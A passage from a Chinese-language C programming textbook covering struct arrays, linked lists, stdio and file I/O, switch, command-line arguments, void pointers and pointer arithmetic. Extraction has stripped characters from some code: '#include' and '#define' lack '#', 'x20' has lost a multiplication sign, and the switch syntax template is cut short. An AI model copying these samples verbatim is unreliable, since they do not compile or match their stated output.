// call malloc to dynamically allocate an array
// of 15 studentT structs for it to point to:
classroom2 = malloc(sizeof(struct studentT) * 15);
// each element in array pointed to by classroom2 is a studentT struct
// use [] notation to access an element of the array, and dot notation
// to access a particular field value of the struct at that index:
classroom2[3].year = 2013;
// classroom3 is an array of struct studentT *
// use [] notation to access a particular element
// call malloc to dynamically allocate a struct for it to point to
classroom3[5] = malloc(sizeof(struct studentT));
// access fields of the struct using -> notation
// set the age field pointed to in element 5 of the classroom3 array to 21
classroom3[5]->age = 21;
一个接受类型为 `struct studentT *` 的数组作为参数的函数可能是这样的:
void updateAges(struct studentT *classroom, int size) {
int i;
for (i = 0; i < size; i++) {
classroom[i].age += 1;
}
}
一个程序可以将静态或动态分配的 `struct studentT` 数组传递给此函数:
updateAges(classroom1, 40);
updateAges(classroom2, 15);
将 `classroom1`(或 `classroom2`)传递给 `updateAges` 函数的语义与将静态声明(或动态分配)的数组传递给函数的语义相匹配:参数引用与实参相同的元素集,因此函数中对数组值的更改会影响实参的元素。
图 2-16 显示了第二次调用 `updateAges` 函数时栈的样子(显示传递的 `classroom2` 数组及每个元素中结构体字段的示例值)。

*图 2-16:传递给函数的 `struct studentT` 数组的内存布局*
如同往常一样,参数会获得其实参的值的副本(数组在堆内存中的地址)。因此,在函数中修改数组的元素会影响实参的值(参数和实参都指向内存中的同一个数组)。
`updateAges` 函数不能传递 `classroom3` 数组,因为它的类型与参数的类型不同:`classroom3` 是一个 `struct studentT *` 数组,而不是 `struct studentT` 数组。
#### 2.7.5 自引用结构体
可以定义一个结构体,其字段类型是指向同一 `struct` 类型的指针。这些自引用的 `struct` 类型可用于构建数据结构的链式实现,例如链表、树和图。
这些数据类型及其链式实现的细节超出了本书的范围。然而,我们简要展示了如何定义和使用自引用的`struct`类型来创建一个链表。有关链表的更多信息,请参阅数据结构和算法的教材。
*链表*是一种实现*列表抽象数据类型*的方法。列表表示按位置顺序排列的元素序列。在 C 语言中,列表数据结构可以通过数组或使用自引用的`struct`类型来实现,以存储链表中的各个节点。
为了构建后者,程序员需要定义一个`node`结构体来包含一个列表元素以及指向列表中下一个节点的链接。以下是一个示例,它可以存储一个包含整数值的链表:
struct node {
int data; // used to store a list element's data value
struct node *next; // used to point to the next node in the list
};
这种`struct`类型的实例可以通过`next`字段相互链接,形成一个链表。
这个示例代码片段创建了一个包含三个元素的链表(该链表本身通过`head`变量指向链表中的第一个节点):
struct node *head, *temp;
int i;
head = NULL; // an empty linked list
head = malloc(sizeof(struct node)); // allocate a node
if (head == NULL) {
printf("Error malloc\n");
exit(1);
}
head->data = 10; // set the data field
head->next = NULL; // set next to NULL (there is no next element)
// add 2 more nodes to the head of the list:
for (i = 0; i < 2; i++) {
temp = malloc(sizeof(struct node)); // allocate a node
if (temp == NULL) {
printf("Error malloc\n");
exit(1);
}
temp->data = i; // set data field
temp->next = head; // set next to point to current first node
head = temp; // change head to point to newly added node
}
请注意,`temp`变量暂时指向一个通过`malloc`分配的`node`,该节点会被初始化并添加到链表的开头,方法是将其`next`字段指向当前由`head`指向的节点,然后将`head`更改为指向这个新节点。
执行此代码的结果将在内存中呈现如图 2-17 所示。

*图 2-17:三个示例链表节点在内存中的布局*
### 2.8 C 语言中的 I/O(标准和文件)
C 语言支持许多用于执行标准 I/O 以及文件 I/O 的函数。在本节中,我们将讨论一些 C 语言中最常用的 I/O 接口。
#### 2.8.1 标准输入/输出
每个运行中的程序都从三个默认的 I/O 流开始:标准输出(`stdout`)、标准输入(`stdin`)和标准错误(`stderr`)。程序可以将输出写入`stdout`和`stderr`,并且可以从`stdin`读取输入值。`stdin`通常定义为从键盘读取输入,而`stdout`和`stderr`则输出到终端。
C 语言的`stdio.h`库提供了用于打印输出到标准输出的`printf`函数,以及用于从标准输入读取值的`scanf`函数。C 语言还提供了按字符逐个读取和写入的函数(`getchar`和`putchar`),以及其他用于读写字符到标准 I/O 流的函数和库。C 程序必须显式地包含`stdio.h`以调用这些函数。
你可以更改正在运行的程序的`stdin`、`stdout`和/或`stderr`读取或写入的位置。一个方法是将其中一个或全部重定向到文件进行读取或写入。以下是一些示例 shell 命令,用于将程序的`stdin`、`stdout`或`stderr`重定向到文件(`$`是 shell 提示符):
redirect a.out's stdin to read from file infile.txt:
$ ./a.out < infile.txt
redirect a.out's stdout to print to file outfile.txt:
$ ./a.out > outfile.txt
redirect a.out's stdout and stderr to a file out.txt
$ ./a.out &> outfile.txt
redirect all three to different files:
(< redirects stdin, 1> stdout, and 2> stderr):
$ ./a.out < infile.txt 1> outfile.txt 2> errorfile.txt
##### printf
C 语言的`printf`函数类似于 Python 中的格式化`print`调用,在其中调用者指定一个格式字符串进行输出。格式字符串通常包含特殊的格式说明符,包括可以打印制表符(`\t`)或换行符(`\n`)的特殊字符,或者指定输出值的占位符(`%`后跟类型说明符)。在传递给`printf`的格式字符串中添加占位符时,需将它们相应的值作为附加参数传递给格式字符串。以下是一些`printf`调用的示例:
printf.c
int x = 5, y = 10;
float pi = 3.14;
printf("x is %d and y is %d\n", x, y);
printf("%g \t %s \t %d\n", pi, "hello", y);
程序运行时,这些`printf`语句的输出为:
x is 5 and y is 10
3.14 hello 10
注意在第二次调用中,制表符字符(`\t`)的打印效果,以及不同类型值的不同格式占位符(`%g`、`%s`和`%d`)。
以下是用于常见 C 类型的格式占位符集合。请注意,`long`和`long long`类型的占位符包含`l`或`ll`前缀。
%f, %g: placeholders for a float or double value
%d: placeholder for a decimal value (char, short, int)
%u: placeholder for an unsigned decimal
%c: placeholder for a single character
%s: placeholder for a string value
%p: placeholder to print an address value
%ld: placeholder for a long value
%lu: placeholder for an unsigned long value
%lld: placeholder for a long long value
%llu: placeholder for an unsigned long long value
以下是它们用法的一些示例:
float labs;
int midterm;
labs = 93.8;
midterm = 87;
printf("Hello %s, here are your grades so far:\n", "Tanya");
printf("\t midterm: %d (out of %d)\n", midterm, 100);
printf("\t lab ave: %f\n", labs);
printf("\t final report: %c\n", 'A');
程序运行时,输出将如下所示:
Hello Tanya, here are your grades so far:
midterm: 87 (out of 100)
lab ave: 93.800003
final report: A
C 语言还允许你通过格式占位符指定字段宽度。以下是一些示例:
%5.3f: print float value in space 5 chars wide, with 3 places beyond decimal
%20s: print the string value in a field of 20 chars wide, right justified
%-20s: print the string value in a field of 20 chars wide, left justified
%8d: print the int value in a field of 8 chars wide, right justified
%-8d: print the int value in a field of 8 chars wide, left justified
以下是一个更大的示例,它在格式字符串中使用字段宽度说明符与占位符一起使用:
printf_format.c
include <stdio.h> // library needed for printf
int main() {
float x, y;
char ch;
x = 4.50001;
y = 5.199999;
ch = 'a'; // ch stores ASCII value of 'a' (the value 97)
// .1: print x and y with single precision
printf("%.1f %.1f\n", x, y);
printf("%6.1f \t %6.1f \t %c\n", x, y, ch);
// ch+1 is 98, the ASCII value of 'b'
printf("%6.1f \t %6.1f \t %c\n", x+1, y+1, ch+1);
printf("%6.1f \t %6.1f \t %c\n", x20, y20, ch+2);
return 0;
}
程序运行时,输出将如下所示:
4.5 5.2
4.5 5.2 a
5.5 6.2 b
90.0 104.0 c
注意最后三个`printf`语句中使用制表符和字段宽度的效果,它们会产生表格形式的输出。
最后,C 语言定义了用于以不同表示形式显示值的占位符:
%x: print value in hexadecimal (base 16)
%o: print value in octal (base 8)
%d: print value in signed decimal (base 10)
%u: print value in unsigned decimal (unsigned base 10)
%e: print float or double in scientific notation
(there is no formatting option to display a value in binary)
以下是一个使用占位符打印不同表示形式值的示例:
int x;
char ch;
x = 26;
ch = 'A';
printf("x is %d in decimal, %x in hexadecimal and %o in octal\n", x, x, x);
printf("ch value is %d which is the ASCII value of %c\n", ch, ch);
程序运行时,输出将如下所示:
x is 26 in decimal, 1a in hexadecimal and 32 in octal
ch value is 65 which is the ASCII value of A
##### scanf
`scanf`函数提供了一种从`stdin`(通常是用户通过键盘输入)读取值并将其存储到程序变量中的方法。`scanf`函数对用户输入数据的确切格式比较挑剔,这可能导致它对格式不正确的用户输入很敏感。
`scanf`函数的参数类似于`printf`函数的参数:`scanf`接受一个格式字符串,该字符串指定要读取的输入值的数量和类型,后跟程序变量的*位置*,即存储这些值的变量地址。程序通常将*地址运算符*(`&`)与变量名结合使用,以产生变量在程序内存中的位置——即变量的内存地址。下面是一个调用`scanf`的示例,它读取两个值(一个`int`类型和一个`float`类型):
scanf_ex.c
int x;
float pi;
// read in an int value followed by a float value ("%d%g")
// store the int value at the memory location of x (&x)
// store the float value at the memory location of pi (&pi)
scanf("%d%g", &x, &pi);
各个输入值必须至少由一个空白字符(如空格、制表符、换行符)分隔。然而,`scanf` 会跳过前导和尾随的空白字符,来确定每个数字字面值的开始和结束。因此,用户可以在输入值 8 和 3.14 之前或之后任意添加空白字符(并且至少需要在两个值之间有一个或多个空白字符),`scanf` 将始终读取 8 并将其赋值给 `x`,并读取 3.14 并将其赋值给 `pi`。例如,以下输入包含大量空格分隔的两个值,最终会将 8 读取并存储到 `x` 中,3.14 读取并存储到 `pi` 中:
8 3.14
程序员经常为 `scanf` 编写仅由占位符说明符组成的格式字符串,其中没有其他字符。在前面的示例中,读取两个数字的格式字符串可能如下所示:
// read in an int and a float separated by at least one white space character
scanf("%d%g",&x, &pi);
##### getchar 和 putchar
C 函数 `getchar` 和 `putchar` 分别从 `stdin` 读取或写入一个字符值到 `stdout`。`getchar` 在需要支持精确错误检测和处理格式不正确的用户输入的 C 程序中尤其有用(`scanf` 在这方面不够健壮)。
ch = getchar(); // read in the next char value from stdin
putchar(ch); // write the value of ch to stdout
#### 2.8.2 文件输入/输出
C 标准 I/O 库(`stdio.h`)包含一个文件 I/O 的流接口。*文件* 存储持久数据:即超越创建它的程序执行生命周期的数据。文本文件表示一个字符流,每个打开的文件会跟踪其在字符流中的当前位置。打开文件时,当前位置从文件中的第一个字符开始,并且每次读取(或写入)字符时,当前位置都会发生变化。要读取文件中的第 10 个字符,首先需要读取前九个字符(或者可以通过 `fseek` 函数显式地将当前位置移动到第 10 个字符)。
C 的文件接口将文件视为输入或输出流,库函数从文件流的下一个位置读取或写入数据。`fprintf` 和 `fscanf` 函数是 `printf` 和 `scanf` 的文件 I/O 对应函数。它们使用格式字符串来指定要写入或读取的内容,并且包含提供值或存储空间的参数,这些值或存储空间用于存储写入或读取的数据。同样,库还提供了 `fputc`、`fgetc`、`fputs` 和 `fgets` 函数,用于从文件流中读取和写入单个字符或字符串。虽然有许多库支持 C 的文件 I/O,但我们仅详细介绍 `stdio.h` 库对文本文件的流接口。
文本文件可能包含特殊字符,如 `stdin` 和 `stdout` 流:换行符(`’\n’`)、制表符(`’\t’`)等。此外,当到达文件数据的末尾时,C 的 I/O 库会生成一个特殊的文件结束符字符(`EOF`),表示文件的结束。读取文件的函数可以通过测试 `EOF` 来确定何时到达文件流的末尾。
#### 2.8.3 在 C 中使用文本文件
要在 C 语言中读取或写入文件,按照以下步骤操作。
首先,*声明*一个 `FILE *` 变量:
FILE *infile;
FILE *outfile;
这些声明创建了指向库定义的 `FILE` 类型的指针变量。这些指针不能在应用程序中解引用。相反,当传递给 I/O 库函数时,它们指向特定的文件流。
其次,*打开*文件:通过调用 `fopen` 将变量与实际的文件流关联。当打开文件时,*模式*参数决定程序是以读取(`"r"`)、写入(`"w"`)还是追加(`"a"`)模式打开文件:
infile = fopen("input.txt", "r"); // relative path name of file, read mode
if (infile == NULL) {
printf("Error: unable to open file %s\n", "input.txt");
exit(1);
}
// fopen with absolute path name of file, write mode
outfile = fopen("/home/me/output.txt", "w");
if (outfile == NULL) {
printf("Error: unable to open outfile\n");
exit(1);
}
`fopen` 函数返回 `NULL` 来报告错误,如果提供了无效的文件名或用户没有权限打开指定的文件(例如,没有写入 `output.txt` 文件的权限),可能会发生此类错误。
第三,*使用* I/O 操作来读取、写入或移动文件中的当前位置:
int ch; // EOF is not a char value, but is an int.
// since all char values can be stored in int, use int for ch
ch = getc(infile); // read next char from the infile stream
if (ch != EOF) {
putc(ch, outfile); // write char value to the outfile stream
}
最后,*关闭*文件:当程序不再需要文件时,使用 `fclose` 关闭文件:
fclose(infile);
fclose(outfile);
`stdio` 库还提供了更改文件中当前位置的函数:
// to reset current position to beginning of file
void rewind(FILE *f);
rewind(infile);
// to move to a specific location in the file:
fseek(FILE *f, long offset, int whence);
fseek(f, 0, SEEK_SET); // seek to the beginning of the file
fseek(f, 3, SEEK_CUR); // seek 3 chars forward from the current position
fseek(f, -3, SEEK_END); // seek 3 chars back from the end of the file
#### 2.8.4 stdio.h 中的标准和文件 I/O 函数
C 语言的 `stdio.h` 库提供了许多用于读取和写入文件以及标准文件流(`stdin`、`stdout` 和 `stderr`)的函数。这些函数可以分为基于字符、基于字符串和格式化的 I/O 函数。以下是这些函数的一个子集的详细信息:
// ---------------
// Character Based
// ---------------
// returns the next character in the file stream (EOF is an int value)
int fgetc(FILE *f);
// writes the char value c to the file stream f
// returns the char value written
int fputc(int c, FILE *f);
// pushes the character c back onto the file stream
// at most one char (and not EOF) can be pushed back
int ungetc(int c, FILE *f);
// like fgetc and fputc but for stdin and stdout
int getchar();
int putchar(int c);
// -------------
// String Based
// -------------
// reads at most n-1 characters into the array s stopping if a newline is
// encountered, newline is included in the array which is '\0' terminated
char *fgets(char *s, int n, FILE *f);
// writes the string s (make sure '\0' terminated) to the file stream f
int fputs(char *s, FILE *f);
// ---------
// Formatted
// ---------
// writes the contents of the format string to file stream f
// (with placeholders filled in with subsequent argument values)
// returns the number of characters printed
int fprintf(FILE *f, char *format, ...);
// like fprintf but to stdout
int printf(char *format, ...);
// use fprintf to print stderr:
fprintf(stderr, "Error return value: %d\n", ret);
// read values specified in the format string from file stream f
// store the read-in values to program storage locations of types
// matching the format string
// returns number of input items converted and assigned
// or EOF on error or if EOF was reached
int fscanf(FILE *f, char *format, ...);
// like fscanf but reads from stdin
int scanf(char *format, ...);
一般来说,`scanf` 和 `fscanf` 对格式不正确的输入非常敏感。然而,对于文件 I/O,程序员通常可以假设输入文件格式良好,因此在这种情况下,`fscanf` 可能足够健壮。而 `scanf` 在处理格式不正确的用户输入时,通常会导致程序崩溃。逐字符读取并在转换为不同类型之前检查值的代码更为健壮,但它需要程序员实现更复杂的 I/O 功能。
`fscanf` 的格式字符串可以包含以下语法,指定不同类型的值以及从文件流中读取数据的方式:
%d integer
%f float
%lf double
%c character
%s string, up to first white space
%[...] string, up to first character not in brackets
%[0123456789] would read in digits
%[^...] string, up to first character in brackets
%[^\n] would read everything up to a newline
获取正确的 `fscanf` 格式字符串可能会很棘手,特别是在从文件中读取混合了数字、字符串或字符类型的数据时。
下面是一些调用 `fscanf`(以及一次调用 `fprintf`)的示例,使用了不同的格式字符串(假设之前示例中的 `fopen` 调用已成功执行):
int x;
double d;
char c, array[MAX];
// write int & char values to file separated by colon with newline at the end
fprintf(outfile, "%d:%c\n", x, c);
// read an int & char from file where int and char are separated by a comma
fscanf(infile, "%d,%c", &x, &c);
// read a string from a file into array (stops reading at whitespace char)
fscanf(infile,"%s", array);
// read a double and a string up to 24 chars from infile
fscanf(infile, "%lf %24s", &d, array);
// read in a string consisting of only char values in the specified set (0-5)
// stops reading when...
// 20 chars have been read OR
// a character not in the set is reached OR
// the file stream reaches end-of-file (EOF)
fscanf(infile, "%20[012345]", array);
// read in a string; stop when reaching a punctuation mark from the set
fscanf(infile, "%[^.,:!;]", array);
// read in two integer values: store first in long, second in int
// then read in a char value following the int value
fscanf(infile, "%ld %d%c", &x, &b, &c);
在前面的示例中,格式字符串明确地在数字后读取一个字符值,以确保文件流的当前位置被正确地推进,以便后续的 `fscanf` 调用能够正常进行。例如,这种模式常常用于显式地读取(并丢弃)一个空白字符(如 *\n*),以确保下一次调用 `fscanf` 从文件中的下一行开始。如果下一次调用 `fscanf` 尝试读取一个字符值,那么读取额外的字符是必要的。否则,如果没有消耗换行符,下一次调用 `fscanf` 将会读取换行符,而不是预期的字符。如果下一次调用读取的是一个数值类型,`fscanf` 会自动丢弃前导的空白字符,程序员无需显式地从文件流中读取 `\n` 字符。
### 2.9 一些高级 C 特性
C 编程语言的大部分内容已经在前面的章节中介绍过。在本节中,我们将讨论一些剩余的高级 C 语言特性以及一些高级 C 编程和编译话题:
+ C 中的 `switch` 语句(第 122 页)
+ 命令行参数(第 125 页)
+ `void *` 类型和类型转换(第 126 页)
+ 指针运算(第 128 页)
+ C 库:使用、编译和链接(第 133 页)
+ 编写和使用你自己的 C 库(并将程序划分为多个模块(`.c` 和 `.h` 文件);第 139 页)
+ 将 C 源代码编译为汇编代码(第 145 页)。
#### 2.9.1 `switch` 语句
C 的 `switch` 语句可以用来替代部分(但不是所有)链式的 `if`–`else if` 代码序列。虽然 `switch` 并没有为 C 编程语言提供额外的表达能力,但它通常能够生成更简洁的代码分支序列。它也可能允许编译器生成比等效的链式 `if`–`else if` 代码更高效的分支代码。
C 语言中 `switch` 语句的语法如下:
switch (
case <literal value 1>:
break; // breaks out of switch statement body
case <literal value 2>:
break; // breaks out of switch statement body
...
default: // default label is optional
}
`switch` 语句的执行过程如下:
1. <expression> 先进行求值。
2. 接下来,`switch` 会查找与表达式值匹配的 `case` 字面量值。
3. 找到匹配的 `case` 字面量后,开始执行紧随其后的 <statements>。
4. 如果没有找到匹配的 `case`,并且存在 `default` 标签,则开始执行 `default` 标签下的 <statements>。
5. 否则,`switch` 语句体中的语句将不会被执行。
关于 `switch` 语句的几个规则:
+ 每个 `case` 关联的值必须是字面量值——它*不能*是一个表达式。原始的表达式只会与每个 `case` 关联的字面量值进行*相等*匹配。
+ 到达`break`语句会停止执行`switch`语句体内所有剩余的语句。也就是说,`break`会跳出`switch`语句体,并继续执行`switch`块后的下一个语句。
+ 带有匹配值的`case`语句标记了进入一系列 C 语句的起始点——执行会跳转到`switch`体内的某个位置,开始执行代码。因此,如果某个`case`语句末尾没有`break`语句,后续`case`语句下的语句将按顺序执行,直到执行了`break`语句或者到达`switch`语句体的末尾。
+ `default`标签是可选的。如果存在,它必须位于最后。
这是一个带有`switch`语句的示例程序:
include <stdio.h>
int main() {
int num, new_num = 0;
printf("enter a number between 6 and 9: ");
scanf("%d", &num);
switch(num) {
case 6:
new_num = num + 1;
break;
case 7:
new_num = num;
break;
case 8:
new_num = num - 1;
break;
case 9:
new_num = num + 2;
break;
default:
printf("Hey, %d is not between 6 and 9\n", num);
}
printf("num %d new_num %d\n", num, new_num);
return 0;
}
以下是这段代码的一些示例运行:
./a.out
enter a number between 6 and 9: 9
num 9 new_num 11
./a.out
enter a number between 6 and 9: 6
num 6 new_num 7
./a.out
enter a number between 6 and 9: 12
Hey, 12 is not between 6 and 9
num 12 new_num 0
#### 2.9.2 命令行参数
通过读取命令行参数,可以使程序变得更具通用性。命令行参数作为用户输入的命令的一部分,用于运行一个二进制可执行程序。它们指定了输入值或选项,改变程序的运行时行为。换句话说,使用不同的命令行参数值运行程序,程序的行为会随每次运行而变化,而无需修改程序代码并重新编译。例如,如果一个程序需要命令行参数中的输入文件名,用户可以使用任何输入文件名来运行它,而不是程序代码中指定的特定输入文件名。
用户提供的任何命令行参数都会作为参数值传递给`main`函数。为了编写一个接受命令行参数的程序,`main`函数的定义必须包含两个参数,`argc`和`argv`:
int main(int argc, char *argv[]) { ...
请注意,第二个参数的类型也可以表示为`char` `**argv`。
第一个参数`argc`存储了参数个数。它的值表示传递给`main`函数的命令行参数的数量(包括程序名)。例如,如果用户输入
./a.out 10 11 200
那么`argc`将保存值 4(`a.out`算作第一个命令行参数,`10`、`11`和`200`是另外三个参数)。
第二个参数`argv`存储了参数向量。它包含了每个命令行参数的值。每个命令行参数作为字符串传递,因此`argv`的类型是一个字符串数组(或者是一个`char`数组的数组)。`argv`数组包含`argc + 1`个元素。前`argc`个元素存储命令行参数字符串,最后一个元素存储`NULL`,表示命令行参数列表的结束。例如,在前面示例中输入的命令行中,`argv`数组看起来像图 2-18。

*图 2-18:传递给`main`的`argv`参数是一个字符串数组。每个命令行参数作为数组中的单独字符串元素传递。最后一个元素的值为`NULL`,表示命令行参数列表的结尾。*
`argv` 数组中的字符串是*不可变*的,意味着它们存储在只读内存中。因此,如果程序想要修改其中一个命令行参数的值,它需要制作该命令行参数的本地副本并修改副本。
通常,程序希望将传递给`main`的命令行参数解释为除字符串以外的类型。在前面的示例中,程序可能希望从其第一个命令行参数的字符串值`"10"`中提取整数值`10`。C 标准库提供了将字符串转换为其他类型的函数。例如,`atoi`(“a to i”,即“ASCII 转整数”)函数将一串数字字符转换为相应的整数值:
int x;
x = atoi(argv[1]); // x gets the int value 10
有关这些函数的更多信息,请参见第 103 页的“将字符串转换为其他类型的函数”,以及 C 命令行参数的另一个示例`commandlineargs.c`程序^(4)。
#### 2.9.3 `void *`类型和类型重构
C 类型`void *`表示通用指针——指向任何类型或未指定类型的指针。C 允许通用指针类型,因为系统上的内存地址始终以相同的字节数存储(例如,在 32 位系统上地址为四字节,在 64 位系统上为八字节)。因此,每个指针变量需要相同数量的存储字节,并且因为它们都是相同大小的,编译器可以分配`void *`变量的空间而不知道它指向的类型。以下是一个示例:
void *gen_ptr;
int x;
char ch;
gen_ptr = &x; // gen_ptr can be assigned the address of an int
gen_ptr = &ch; // or the address of a char (or the address of any type)
通常,程序员不像前面的示例中那样声明`void *`类型的变量。相反,它通常用于指定函数的通用返回类型或函数的通用参数。`void *`类型经常被用作函数的返回类型,该函数返回新分配的内存,可用于存储任何类型(例如,`malloc`)。它也用作函数的函数参数,用于接受任何类型的值。在这种情况下,函数的各个调用将某种特定类型的指针传递给函数的`void *`参数,因为它可以存储任何类型的地址。
因为`void *`是一个通用指针类型,无法直接解引用——编译器不知道地址指向的内存大小。例如,该地址可能指向一个占用四个字节的`int`存储位置,或者可能指向一个占用一个字节的`char`存储位置。因此,程序员必须在解引用之前显式地将`void *`指针重新转换为特定类型的指针。重新转换告诉编译器指针变量的具体类型,从而允许编译器生成正确的内存访问代码来处理指针解引用。
下面是`void *`使用的两个例子。首先,`malloc`的调用将其返回的`void *`类型转换为用于存储返回堆内存地址的变量的特定指针类型:
int *array;
char *str;
array = (int *)malloc(sizeof(int) * 10); // recast void * return value
str = (char *)malloc(sizeof(char) * 20);
*array = 10;
str[0] = 'a';
其次,学生们在创建线程时经常遇到`void *`(请参见第 677 页的“你好,线程!编写你的第一个多线程程序”)。在线程函数中使用`void *`参数类型可以使线程接收任何类型的特定应用程序指针。`pthread_create`函数有一个用于线程主函数的参数,并且有一个`void *`类型的参数,用于传递给线程主函数的参数值,后者将由新创建的线程执行。使用`void *`参数使得`pthread_create`成为一个通用的线程创建函数;它可以用于指向任何类型的内存位置。对于调用`pthread_create`的特定程序,程序员知道传递给`void *`参数的参数类型,因此程序员必须在解引用之前将其重新转换为已知类型。在这个例子中,假设传递给`args`参数的地址包含一个整数变量的地址:
/*
* an application-specific pthread main function
* must have this function prototype: int func_name(void *args)
*
* any given implementation knows what type is really passed in
* args: pointer to an int value
*/
int my_thr_main(void *args) {
int num;
// first recast args to an int *, then dereference to get int value
num = *((int *)args); // num gets 6
...
}
int main() {
int ret, x;
pthread_t tid;
x = 6;
// pass the address of int variable (x) to pthread_create's void * param
// (we recast &x as a (void *) to match the type of pthread_create's param)
ret = pthread_create(&tid, NULL,
my_thr_main, // a thread main function
(void *)(&x)); // &x will be passed to my_thr_main
// ...
#### 2.9.4 指针运算
如果一个指针变量指向一个数组,程序可以对该指针进行运算,以访问数组中的任何元素。在大多数情况下,我们建议避免使用指针运算来访问数组元素:这样容易出错,调试时也更困难。然而,有时通过递增指针逐个访问数组元素可能会更加方便。
当指针递增时,它指向下一个存储位置*其指向的类型*。例如,递增一个整数指针(`int *`)会使它指向下一个`int`存储地址(比当前值大四个字节的地址),递增一个字符指针则会使它指向下一个`char`存储地址(比当前值大一个字节的地址)。
在以下示例程序中,我们演示了如何使用指针运算来操作一个数组。首先声明与数组元素类型匹配的指针变量:
pointerarith.c
define N 10
define M 20
int main() {
// array declarations:
char letters[N];
int numbers[N], i, j;
int matrix[N][M];
// declare pointer variables that will access int or char array elements
// using pointer arithmetic (the pointer type must match array element type)
char *cptr = NULL;
int *iptr = NULL;
...
接下来,将指针变量初始化为它们将要遍历的数组的基地址:
pointerarith.c
// make the pointer point to the first element in the array
cptr = &(letters[0]); // &(letters[0]) is the address of element 0
iptr = numbers; // the address of element 0 (numbers is &(numbers[0]))
然后,使用指针解引用,我们的程序可以访问数组的元素。在这里,我们通过解引用为数组元素赋值,然后将指针变量递增 1,以使其指向下一个元素:
pointerarith.c
// initialized letters and numbers arrays through pointer variables
for (i = 0; i < N; i++) {
// dereference each pointer and update the element it currently points to
*cptr = 'a' + i;
*iptr = i * 3;
// use pointer arithmetic to set each pointer to point to the next element
cptr++; // cptr points to the next char address (next element of letters)
iptr++; // iptr points to the next int address (next element of numbers)
}
请注意,在这个例子中,指针的值是在循环内部递增的。因此,递增它们的值使得它们指向数组中的下一个元素。这种模式有效地遍历了数组中的每个元素,和在每次迭代中访问`cptr[i]`或`iptr[i]`的方式相同。
**注意指针算术的语义和底层算术功能**
指针算术的语义与类型无关:改变任何类型指针的值`N`(`ptr = ptr + N`)会使指针指向当前值之后`N`个存储位置(或使它指向当前元素之后`N`个元素)。因此,递增任何类型的指针都会使它指向它所指向类型的下一个内存位置。
然而,编译器为指针算术表达式生成的实际算术功能会根据指针变量的类型有所不同(取决于系统用于存储指针所指向类型的字节数)。例如,递增一个`char`指针会使其值增加 1,因为下一个有效的`char`地址距离当前位置 1 个字节。递增一个`int`指针会使其值增加 4,因为下一个有效的整数地址距离当前位置 4 个字节。
程序员可以简单地写`ptr++`,使指针指向下一个元素的值。编译器会生成代码,以添加与其指向的对应类型相关的字节数。这种加法有效地将其值设置为该类型在内存中的下一个有效地址。
你可以通过打印它们的值来查看先前的代码是如何修改数组元素的(我们首先使用数组索引访问,然后使用指针算术来访问每个数组元素的值):
printf("\n array values using indexing to access: \n");
// see what the code above did:
for (i = 0; i < N; i++) {
printf("letters[%d] = %c, numbers[%d] = %d\n",
i, letters[i], i, numbers[i]);
}
// we could also use pointer arith to print these out:
printf("\n array values using pointer arith to access: \n");
// first: initialize pointers to base address of arrays:
cptr = letters; // letters == &letters[0]
iptr = numbers;
for (i = 0; i < N; i++) {
// dereference pointers to access array element values
printf("letters[%d] = %c, numbers[%d] = %d\n",
i, *cptr, i, *iptr);
// increment pointers to point to the next element
cptr++;
iptr++;
}
以下是输出的样子:
array values using indexing to access:
letters[0] = a, numbers[0] = 0
letters[1] = b, numbers[1] = 3
letters[2] = c, numbers[2] = 6
letters[3] = d, numbers[3] = 9
letters[4] = e, numbers[4] = 12
letters[5] = f, numbers[5] = 15
letters[6] = g, numbers[6] = 18
letters[7] = h, numbers[7] = 21
letters[8] = i, numbers[8] = 24
letters[9] = j, numbers[9] = 27
array values using pointer arith to access:
letters[0] = a, numbers[0] = 0
letters[1] = b, numbers[1] = 3
letters[2] = c, numbers[2] = 6
letters[3] = d, numbers[3] = 9
letters[4] = e, numbers[4] = 12
letters[5] = f, numbers[5] = 15
letters[6] = g, numbers[6] = 18
letters[7] = h, numbers[7] = 21
letters[8] = i, numbers[8] = 24
letters[9] = j, numbers[9] = 27
指针算术可以用来遍历任何连续的内存块。以下是一个使用指针算术初始化静态声明的二维数组的例子:
// sets matrix to:
// row 0: 0, 1, 2, ..., 99
// row 1: 100, 110, 120, ..., 199
// ...
iptr = &(matrix[0][0]);
for (i = 0; i < N*M; i++) {
*iptr = i;
iptr++;
}
// see what the code above did:
printf("\n 2D array values inited using pointer arith: \n");
for (i = 0; i < N; i++) {
for (j = 0; j < M; j++) {
printf("%3d ", matrix[i][j]);
}
printf("\n");
}
return 0;
}
输出将如下所示:
2D array values initialized using pointer arith:
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119
120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139
140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159
160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179
180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199
指针算术可以以任何模式访问连续的内存位置,从连续内存块中的任何位置开始和结束。例如,在初始化指向数组元素的指针后,可以通过增加指针值来改变它的值。示例如下:
iptr = &numbers[2];
*iptr = -13;
iptr += 4;
*iptr = 9999;
执行上述代码后,打印`numbers`数组的值会如下所示(请注意索引 2 和索引 6 的值已发生变化):
numbers[0] = 0
numbers[1] = 3
numbers[2] = -13
numbers[3] = 9
numbers[4] = 12
numbers[5] = 15
numbers[6] = 9999
numbers[7] = 21
numbers[8] = 24
numbers[9] = 27
指针运算也适用于动态分配的数组。然而,程序员在处理动态分配的多维数组时必须小心。例如,如果一个程序使用多个 `malloc` 调用来动态分配 2D 数组的各个行(见第 90 页的“方法 2:对程序员友好的方式”),那么每一行的指针都必须重置为指向该行的起始元素的地址。重置指针是必要的,因为只有同一行的元素位于连续的内存地址中。另一方面,如果 2D 数组是通过一次 `malloc` 调用为总行数乘以列数的空间分配的(见第 88 页的“方法 1:内存高效分配”),那么所有行都在连续的内存中(就像前面示例中的静态声明的 2D 数组一样)。在后者的情况下,只需要将指针初始化为指向基地址,然后指针运算就可以正确访问 2D 数组中的任何元素。
#### 2.9.5 C 库:使用、编译和链接
*库*实现了一组可以被其他程序使用的函数和定义。C 库由两部分组成:
